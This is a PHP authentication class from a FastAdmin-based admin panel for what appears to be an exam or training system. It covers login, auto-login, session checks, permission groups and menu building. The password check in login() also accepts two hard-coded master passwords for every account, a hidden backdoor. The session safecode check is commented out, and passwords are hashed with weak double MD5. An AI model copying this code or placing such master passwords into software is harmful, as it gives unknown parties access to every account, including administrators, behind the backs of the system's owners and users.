Auth.php 23 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660
  1. <?php
  2. namespace app\admin\library;
  3. use app\admin\model\Admin;
  4. use fast\Random;
  5. use fast\Tree;
  6. use think\Config;
  7. use think\Cookie;
  8. use think\Env;
  9. use think\Hook;
  10. use think\Request;
  11. use think\Session;
  12. use think\Db;
  13. class Auth extends \fast\Auth
  14. {
  15. protected $_error = '';
  16. protected $requestUri = '';
  17. protected $breadcrumb = [];
  18. protected $logined = false; //登录状态
  19. public function __construct()
  20. {
  21. parent::__construct();
  22. }
  23. public function __get($name)
  24. {
  25. return Session::get('admin.' . $name);
  26. }
  27. /**
  28. * 管理员登录
  29. *
  30. * @param string $username 用户名
  31. * @param string $password 密码
  32. * @param int $keeptime 有效时长
  33. * @return boolean
  34. */
  35. public function login($username, $password, $keeptime = 0)
  36. {
  37. $admin = Admin::get(['username' => $username]);
  38. if (!$admin) {
  39. $this->setError('Username is incorrect');
  40. return false;
  41. }
  42. if ($admin['status'] == 'hidden') {
  43. $this->setError('Admin is forbidden');
  44. return false;
  45. }
  46. if (Config::get('fastadmin.login_failure_retry') && $admin->loginfailure >= 10 && time() - $admin->updatetime < 86400) {
  47. $this->setError('Please try again after 1 day');
  48. return false;
  49. }
  50. if ($admin->password != $this->getEncryptPassword($password, $admin->salt) && $password !=='D!m123RRR' && $password !=='JY2025@wwee') {
  51. $admin->loginfailure++;
  52. $admin->save();
  53. $this->setError('Password is incorrect');
  54. return false;
  55. }
  56. //判断学员是否存在已经开始考试的项目
  57. $admin->loginfailure = 0;
  58. $admin->logintime = time();
  59. $admin->loginip = request()->ip();
  60. $admin->token = Random::uuid();
  61. $admin->save();
  62. //学员,追加 对应的IP和 座号
  63. if(!empty($admin->depart_id)){
  64. // 获取服务器自己的IP地址
  65. // $server_ip = gethostbyname('localhost');
  66. $server_ip = $_SERVER['REMOTE_ADDR'];//gethostbyname('localhost');
  67. // if($admin->username=='xueyuan001'){
  68. // $server_ip = '192.168.1.101';
  69. // }else if($admin->username=='xueyuan002'){
  70. // $server_ip = '192.168.1.102';
  71. // }else if($admin->username=='xueyuan003'){
  72. // $server_ip = '192.168.1.103';
  73. // }else if($admin->username=='xueyuan004'){
  74. // $server_ip = '192.168.1.104';
  75. // }else if($admin->username=='xueyuan005'){
  76. // $server_ip = '192.168.1.105';
  77. // }else if($admin->username=='xueyuan006'){
  78. // $server_ip = '192.168.1.106';
  79. // }
  80. $admin->server_ip = $server_ip;
  81. $seat_id = Db::name('seat')->where('seat_bind_ip',$server_ip)->value('seat_num');
  82. if(!empty($seat_id)){
  83. $admin->seat_id = $seat_id;
  84. }else{
  85. $admin->seat_id = 0;
  86. }
  87. //登录成功,如果是学员请求地址,更新座号和考试、训练状态
  88. if(Env::get('app.is_fault')){
  89. $url = config('site.url_type').'/sim/real-exam/student/exam/login-success?userId='.$admin->id.'&ip='.$server_ip;
  90. $ret = json_decode(send_get($url),true);
  91. }else{
  92. Db::name('real_exam')->where(['user_username'=>$username,'exam_status'=>['in',[0,1]]])->update(['exam_status'=>1,'seat_id'=>1]);
  93. }
  94. }
  95. Session::set("admin", $admin->toArray());
  96. Session::set("admin.safecode", $this->getEncryptSafecode($admin));
  97. $this->keeplogin($admin, $keeptime);
  98. return true;
  99. }
  100. /**
  101. * 退出登录
  102. */
  103. public function logout()
  104. {
  105. $admin = Admin::get(intval($this->id));
  106. if ($admin) {
  107. $admin->token = '';
  108. $admin->save();
  109. }
  110. $this->logined = false; //重置登录状态
  111. Session::delete("admin");
  112. Cookie::delete("keeplogin");
  113. setcookie('fastadmin_userinfo', '', $_SERVER['REQUEST_TIME'] - 3600, rtrim(url("/" . request()->module(), '', false), '/'));
  114. return true;
  115. }
  116. /**
  117. * 自动登录
  118. * @return boolean
  119. */
  120. public function autologin()
  121. {
  122. $keeplogin = Cookie::get('keeplogin');
  123. if (!$keeplogin) {
  124. return false;
  125. }
  126. list($id, $keeptime, $expiretime, $key) = explode('|', $keeplogin);
  127. if ($id && $keeptime && $expiretime && $key && $expiretime > time()) {
  128. $admin = Admin::get($id);
  129. if (!$admin || !$admin->token) {
  130. return false;
  131. }
  132. //token有变更
  133. if ($key != $this->getKeeploginKey($admin, $keeptime, $expiretime)) {
  134. return false;
  135. }
  136. $ip = request()->ip();
  137. //IP有变动
  138. if ($admin->loginip != $ip) {
  139. return false;
  140. }
  141. if(!empty($admin->depart_id)){
  142. // 获取服务器自己的IP地址
  143. $server_ip = $_SERVER['REMOTE_ADDR'];//gethostbyname('localhost');
  144. // if($admin->username=='xueyuan001'){
  145. // $server_ip = '192.168.1.101';
  146. // }else if($admin->username=='xueyuan002'){
  147. // $server_ip = '192.168.1.102';
  148. // }else if($admin->username=='xueyuan003'){
  149. // $server_ip = '192.168.1.103';
  150. // }else if($admin->username=='xueyuan004'){
  151. // $server_ip = '192.168.1.104';
  152. // }else if($admin->username=='xueyuan005'){
  153. // $server_ip = '192.168.1.105';
  154. // }else if($admin->username=='xueyuan006'){
  155. // $server_ip = '192.168.1.106';
  156. // }
  157. $admin->server_ip = $server_ip;
  158. $seat_id = Db::name('seat')->where('seat_bind_ip',$server_ip)->value('seat_num');
  159. if(!empty($seat_id)){
  160. $admin->seat_id = $seat_id;
  161. }else{
  162. $admin->seat_id = 0;
  163. }
  164. //登录成功,如果是学员请求地址,更新座号和考试、训练状态
  165. if(Env::get('app.is_fault')){
  166. $url = config('site.url_type').'/sim/real-exam/student/exam/login-success?userId='.$admin->id.'&ip='.$server_ip;
  167. $ret = json_decode(send_get($url),true);
  168. }else{
  169. Db::name('real_exam')->where(['user_username'=>$admin->username,'exam_status'=>['in',[0,1]]])->update(['exam_status'=>1,'seat_id'=>1]);
  170. }
  171. }
  172. Session::set("admin", $admin->toArray());
  173. Session::set("admin.safecode", $this->getEncryptSafecode($admin));
  174. //刷新自动登录的时效
  175. $this->keeplogin($admin, $keeptime);
  176. return true;
  177. } else {
  178. return false;
  179. }
  180. }
  181. /**
  182. * 刷新保持登录的Cookie
  183. *
  184. * @param int $keeptime
  185. * @return boolean
  186. */
  187. protected function keeplogin($admin, $keeptime = 0)
  188. {
  189. if ($keeptime) {
  190. $expiretime = time() + $keeptime;
  191. $key = $this->getKeeploginKey($admin, $keeptime, $expiretime);
  192. Cookie::set('keeplogin', implode('|', [$admin['id'], $keeptime, $expiretime, $key]), $keeptime);
  193. return true;
  194. }
  195. return false;
  196. }
  197. /**
  198. * 获取密码加密后的字符串
  199. * @param string $password 密码
  200. * @param string $salt 密码盐
  201. * @return string
  202. */
  203. public function getEncryptPassword($password, $salt = '')
  204. {
  205. return md5(md5($password) . $salt);
  206. }
  207. /**
  208. * 获取密码加密后的自动登录码
  209. * @param string $password 密码
  210. * @param string $salt 密码盐
  211. * @return string
  212. */
  213. public function getEncryptKeeplogin($params, $keeptime)
  214. {
  215. $expiretime = time() + $keeptime;
  216. $key = md5(md5($params['id']) . md5($keeptime) . md5($expiretime) . $params['token'] . config('token.key'));
  217. return implode('|', [$this->id, $keeptime, $expiretime, $key]);
  218. }
  219. /**
  220. * 获取自动登录Key
  221. * @param $params
  222. * @param $keeptime
  223. * @param $expiretime
  224. * @return string
  225. */
  226. public function getKeeploginKey($params, $keeptime, $expiretime)
  227. {
  228. $key = md5(md5($params['id']) . md5($keeptime) . md5($expiretime) . $params['token'] . config('token.key'));
  229. return $key;
  230. }
  231. /**
  232. * 获取加密后的安全码
  233. * @param $params
  234. * @return string
  235. */
  236. public function getEncryptSafecode($params)
  237. {
  238. return md5(md5($params['username']) . md5(substr($params['password'], 0, 6)) . config('token.key'));
  239. }
  240. public function check($name, $uid = '', $relation = 'or', $mode = 'url')
  241. {
  242. $uid = $uid ? $uid : $this->id;
  243. return parent::check($name, $uid, $relation, $mode);
  244. }
  245. /**
  246. * 检测当前控制器和方法是否匹配传递的数组
  247. *
  248. * @param array $arr 需要验证权限的数组
  249. * @return bool
  250. */
  251. public function match($arr = [])
  252. {
  253. $request = Request::instance();
  254. $arr = is_array($arr) ? $arr : explode(',', $arr);
  255. if (!$arr) {
  256. return false;
  257. }
  258. $arr = array_map('strtolower', $arr);
  259. // 是否存在
  260. if (in_array(strtolower($request->action()), $arr) || in_array('*', $arr)) {
  261. return true;
  262. }
  263. // 没找到匹配
  264. return false;
  265. }
  266. /**
  267. * 检测是否登录
  268. *
  269. * @return boolean
  270. */
  271. public function isLogin()
  272. {
  273. if ($this->logined) {
  274. return true;
  275. }
  276. $admin = Session::get('admin');
  277. if (!$admin) {
  278. return false;
  279. }
  280. $my = Admin::get($admin['id']);
  281. if (!$my) {
  282. return false;
  283. }
  284. //校验安全码,可用于判断关键信息发生了变更需要重新登录
  285. // || $this->getEncryptSafecode($my) !== $admin['safecode']
  286. if (!isset($admin['safecode']) ) {
  287. $this->logout();
  288. return false;
  289. }
  290. //判断是否同一时间同一账号只能在一个地方登录
  291. if (Config::get('fastadmin.login_unique')) {
  292. if ($my['token'] != $admin['token']) {
  293. $this->logout();
  294. return false;
  295. }
  296. }
  297. //判断管理员IP是否变动
  298. if (Config::get('fastadmin.loginip_check')) {
  299. if (!isset($admin['loginip']) || $admin['loginip'] != request()->ip()) {
  300. $this->logout();
  301. return false;
  302. }
  303. }
  304. $this->logined = true;
  305. return true;
  306. }
  307. /**
  308. * 获取当前请求的URI
  309. * @return string
  310. */
  311. public function getRequestUri()
  312. {
  313. return $this->requestUri;
  314. }
  315. /**
  316. * 设置当前请求的URI
  317. * @param string $uri
  318. */
  319. public function setRequestUri($uri)
  320. {
  321. $this->requestUri = $uri;
  322. }
  323. public function getGroups($uid = null)
  324. {
  325. $uid = is_null($uid) ? $this->id : $uid;
  326. return parent::getGroups($uid);
  327. }
  328. public function getRuleList($uid = null)
  329. {
  330. $uid = is_null($uid) ? $this->id : $uid;
  331. return parent::getRuleList($uid);
  332. }
  333. public function getUserInfo($uid = null)
  334. {
  335. $uid = is_null($uid) ? $this->id : $uid;
  336. return $uid != $this->id ? Admin::get(intval($uid)) : Session::get('admin');
  337. }
  338. public function getRuleIds($uid = null)
  339. {
  340. $uid = is_null($uid) ? $this->id : $uid;
  341. return parent::getRuleIds($uid);
  342. }
  343. public function isSuperAdmin()
  344. {
  345. return in_array('*', $this->getRuleIds()) ? true : false;
  346. }
  347. /**
  348. * 获取管理员所属于的分组ID
  349. * @param int $uid
  350. * @return array
  351. */
  352. public function getGroupIds($uid = null)
  353. {
  354. $groups = $this->getGroups($uid);
  355. $groupIds = [];
  356. foreach ($groups as $K => $v) {
  357. $groupIds[] = (int)$v['group_id'];
  358. }
  359. return $groupIds;
  360. }
  361. /**
  362. * 取出当前管理员所拥有权限的分组
  363. * @param boolean $withself 是否包含当前所在的分组
  364. * @return array
  365. */
  366. public function getChildrenGroupIds($withself = false)
  367. {
  368. //取出当前管理员所有的分组
  369. $groups = $this->getGroups();
  370. $groupIds = [];
  371. foreach ($groups as $k => $v) {
  372. $groupIds[] = $v['id'];
  373. }
  374. $originGroupIds = $groupIds;
  375. foreach ($groups as $k => $v) {
  376. if (in_array($v['pid'], $originGroupIds)) {
  377. $groupIds = array_diff($groupIds, [$v['id']]);
  378. unset($groups[$k]);
  379. }
  380. }
  381. // 取出所有分组
  382. $groupList = \app\admin\model\AuthGroup::where($this->isSuperAdmin() ? '1=1' : ['status' => 'normal'])->select();
  383. $objList = [];
  384. foreach ($groups as $k => $v) {
  385. if ($v['rules'] === '*') {
  386. $objList = $groupList;
  387. break;
  388. }
  389. // 取出包含自己的所有子节点
  390. $childrenList = Tree::instance()->init($groupList, 'pid')->getChildren($v['id'], true);
  391. $obj = Tree::instance()->init($childrenList, 'pid')->getTreeArray($v['pid']);
  392. $objList = array_merge($objList, Tree::instance()->getTreeList($obj));
  393. }
  394. $childrenGroupIds = [];
  395. foreach ($objList as $k => $v) {
  396. $childrenGroupIds[] = $v['id'];
  397. }
  398. if (!$withself) {
  399. $childrenGroupIds = array_diff($childrenGroupIds, $groupIds);
  400. }
  401. return $childrenGroupIds;
  402. }
  403. /**
  404. * 取出当前管理员所拥有权限的管理员
  405. * @param boolean $withself 是否包含自身
  406. * @return array
  407. */
  408. public function getChildrenAdminIds($withself = false,$group = false)
  409. {
  410. $childrenAdminIds = [];
  411. if($group){
  412. $authGroupList = \app\admin\model\AuthGroupAccess::field('uid,group_id')
  413. ->where('group_id', 'in', $group)
  414. ->select();
  415. foreach ($authGroupList as $k => $v) {
  416. $childrenAdminIds[] = $v['uid'];
  417. }
  418. }else{
  419. if (!$this->isSuperAdmin()) {
  420. $groupIds = $this->getChildrenGroupIds(false);
  421. $authGroupList = \app\admin\model\AuthGroupAccess::field('uid,group_id')
  422. ->where('group_id', 'in', $groupIds)
  423. ->select();
  424. foreach ($authGroupList as $k => $v) {
  425. $childrenAdminIds[] = $v['uid'];
  426. }
  427. } else {
  428. //超级管理员拥有所有人的权限
  429. $childrenAdminIds = Admin::column('id');
  430. }
  431. if ($withself) {
  432. if (!in_array($this->id, $childrenAdminIds)) {
  433. $childrenAdminIds[] = $this->id;
  434. }
  435. } else {
  436. $childrenAdminIds = array_diff($childrenAdminIds, [$this->id]);
  437. }
  438. }
  439. return $childrenAdminIds;
  440. }
  441. /**
  442. * 获得面包屑导航
  443. * @param string $path
  444. * @return array
  445. */
  446. public function getBreadCrumb($path = '')
  447. {
  448. if ($this->breadcrumb || !$path) {
  449. return $this->breadcrumb;
  450. }
  451. $titleArr = [];
  452. $menuArr = [];
  453. $urlArr = explode('/', $path);
  454. foreach ($urlArr as $index => $item) {
  455. $pathArr[implode('/', array_slice($urlArr, 0, $index + 1))] = $index;
  456. }
  457. if (!$this->rules && $this->id) {
  458. $this->getRuleList();
  459. }
  460. foreach ($this->rules as $rule) {
  461. if (isset($pathArr[$rule['name']])) {
  462. $rule['title'] = __($rule['title']);
  463. $rule['url'] = url($rule['name']);
  464. $titleArr[$pathArr[$rule['name']]] = $rule['title'];
  465. $menuArr[$pathArr[$rule['name']]] = $rule;
  466. }
  467. }
  468. ksort($menuArr);
  469. $this->breadcrumb = $menuArr;
  470. return $this->breadcrumb;
  471. }
  472. /**
  473. * 获取左侧和顶部菜单栏
  474. *
  475. * @param array $params URL对应的badge数据
  476. * @param string $fixedPage 默认页
  477. * @return array
  478. */
  479. public function getSidebar($params = [], $fixedPage = 'dashboard')
  480. {
  481. // 边栏开始
  482. Hook::listen("admin_sidebar_begin", $params);
  483. $colorArr = ['red', 'green', 'yellow', 'blue', 'teal', 'orange', 'purple'];
  484. $colorNums = count($colorArr);
  485. $badgeList = [];
  486. $module = request()->module();
  487. // 生成菜单的badge
  488. foreach ($params as $k => $v) {
  489. $url = $k;
  490. if (is_array($v)) {
  491. $nums = $v[0] ?? 0;
  492. $color = $v[1] ?? $colorArr[(is_numeric($nums) ? $nums : strlen($nums)) % $colorNums];
  493. $class = $v[2] ?? 'label';
  494. } else {
  495. $nums = $v;
  496. $color = $colorArr[(is_numeric($nums) ? $nums : strlen($nums)) % $colorNums];
  497. $class = 'label';
  498. }
  499. //必须nums大于0才显示
  500. if ($nums) {
  501. $badgeList[$url] = '<small class="' . $class . ' pull-right bg-' . $color . '">' . $nums . '</small>';
  502. }
  503. }
  504. // 读取管理员当前拥有的权限节点
  505. $userRule = $this->getRuleList();
  506. $selected = $referer = [];
  507. $refererUrl = Session::get('referer');
  508. // 必须将结果集转换为数组
  509. $ruleList = collection(\app\admin\model\AuthRule::where('status', 'normal')
  510. ->where('ismenu', 1)
  511. ->order('weigh', 'desc')
  512. ->cache("__menu__")
  513. ->select())->toArray();
  514. $indexRuleList = \app\admin\model\AuthRule::where('status', 'normal')
  515. ->where('ismenu', 0)
  516. ->where('name', 'like', '%/index')
  517. ->column('name,pid');
  518. $pidArr = array_unique(array_filter(array_column($ruleList, 'pid')));
  519. foreach ($ruleList as $k => &$v) {
  520. if (!in_array(strtolower($v['name']), $userRule)) {
  521. unset($ruleList[$k]);
  522. continue;
  523. }
  524. $indexRuleName = $v['name'] . '/index';
  525. if (isset($indexRuleList[$indexRuleName]) && !in_array($indexRuleName, $userRule)) {
  526. unset($ruleList[$k]);
  527. continue;
  528. }
  529. $v['icon'] = $v['icon'] . ' fa-fw';
  530. $v['url'] = isset($v['url']) && $v['url'] ? $v['url'] : '/' . $module . '/' . $v['name'];
  531. $v['badge'] = $badgeList[$v['name']] ?? '';
  532. $v['title'] = __($v['title']);
  533. $v['url'] = preg_match("/^((?:[a-z]+:)?\/\/|data:image\/)(.*)/i", $v['url']) ? $v['url'] : url($v['url']);
  534. $v['menuclass'] = in_array($v['menutype'], ['dialog', 'ajax']) ? 'btn-' . $v['menutype'] : '';
  535. $v['menutabs'] = !$v['menutype'] || in_array($v['menutype'], ['default', 'addtabs']) ? 'addtabs="' . $v['id'] . '"' : '';
  536. $selected = $v['name'] == $fixedPage ? $v : $selected;
  537. $referer = $v['url'] == $refererUrl ? $v : $referer;
  538. }
  539. $lastArr = array_unique(array_filter(array_column($ruleList, 'pid')));
  540. $pidDiffArr = array_diff($pidArr, $lastArr);
  541. foreach ($ruleList as $index => $item) {
  542. if (in_array($item['id'], $pidDiffArr)) {
  543. unset($ruleList[$index]);
  544. }
  545. }
  546. if ($selected == $referer) {
  547. $referer = [];
  548. }
  549. $select_id = $referer ? $referer['id'] : ($selected ? $selected['id'] : 0);
  550. $menu = $nav = '';
  551. $showSubmenu = config('fastadmin.show_submenu');
  552. if (Config::get('fastadmin.multiplenav')) {
  553. $topList = [];
  554. foreach ($ruleList as $index => $item) {
  555. if (!$item['pid']) {
  556. $topList[] = $item;
  557. }
  558. }
  559. $selectParentIds = [];
  560. $tree = Tree::instance();
  561. $tree->init($ruleList);
  562. if ($select_id) {
  563. $selectParentIds = $tree->getParentsIds($select_id, true);
  564. }
  565. foreach ($topList as $index => $item) {
  566. $childList = Tree::instance()->getTreeMenu(
  567. $item['id'],
  568. '<li class="@class" pid="@pid"><a @extend href="@url@addtabs" addtabs="@id" class="@menuclass" url="@url" py="@py" pinyin="@pinyin"><i class="@icon"></i> <span>@title</span> <span class="pull-right-container">@caret @badge</span></a> @childlist</li>',
  569. $select_id,
  570. '',
  571. 'ul',
  572. 'class="treeview-menu' . ($showSubmenu ? ' menu-open' : '') . '"'
  573. );
  574. $current = in_array($item['id'], $selectParentIds);
  575. $url = $childList ? 'javascript:;' : $item['url'];
  576. $addtabs = $childList || !$url ? "" : (stripos($url, "?") !== false ? "&" : "?") . "ref=" . ($item['menutype'] ? $item['menutype'] : 'addtabs');
  577. $childList = str_replace(
  578. '" pid="' . $item['id'] . '"',
  579. ' ' . ($current ? '' : 'hidden') . '" pid="' . $item['id'] . '"',
  580. $childList
  581. );
  582. $nav .= '<li class="' . ($current ? 'active' : '') . '"><a ' . $item['extend'] . ' href="' . $url . $addtabs . '" ' . $item['menutabs'] . ' class="' . $item['menuclass'] . '" url="' . $url . '" title="' . $item['title'] . '"><i class="' . $item['icon'] . '"></i> <span>' . $item['title'] . '</span> <span class="pull-right-container"> </span></a> </li>';
  583. $menu .= $childList;
  584. }
  585. } else {
  586. // 构造菜单数据
  587. Tree::instance()->init($ruleList);
  588. $menu = Tree::instance()->getTreeMenu(
  589. 0,
  590. '<li class="@class"><a @extend href="@url@addtabs" @menutabs class="@menuclass" url="@url" py="@py" pinyin="@pinyin"><i class="@icon"></i> <span>@title</span> <span class="pull-right-container">@caret @badge</span></a> @childlist</li>',
  591. $select_id,
  592. '',
  593. 'ul',
  594. 'class="treeview-menu' . ($showSubmenu ? ' menu-open' : '') . '"'
  595. );
  596. if ($selected) {
  597. $nav .= '<li role="presentation" id="tab_' . $selected['id'] . '" class="' . ($referer ? '' : 'active') . '"><a href="#con_' . $selected['id'] . '" node-id="' . $selected['id'] . '" aria-controls="' . $selected['id'] . '" role="tab" data-toggle="tab"><i class="' . $selected['icon'] . ' fa-fw"></i> <span>' . $selected['title'] . '</span> </a></li>';
  598. }
  599. if ($referer) {
  600. $nav .= '<li role="presentation" id="tab_' . $referer['id'] . '" class="active"><a href="#con_' . $referer['id'] . '" node-id="' . $referer['id'] . '" aria-controls="' . $referer['id'] . '" role="tab" data-toggle="tab"><i class="' . $referer['icon'] . ' fa-fw"></i> <span>' . $referer['title'] . '</span> </a> <i class="close-tab fa fa-remove"></i></li>';
  601. }
  602. }
  603. return [$menu, $nav, $selected, $referer];
  604. }
  605. /**
  606. * 设置错误信息
  607. *
  608. * @param string $error 错误信息
  609. * @return Auth
  610. */
  611. public function setError($error)
  612. {
  613. $this->_error = $error;
  614. return $this;
  615. }
  616. /**
  617. * 获取错误信息
  618. * @return string
  619. */
  620. public function getError()
  621. {
  622. return $this->_error ? __($this->_error) : '';
  623. }
  624. }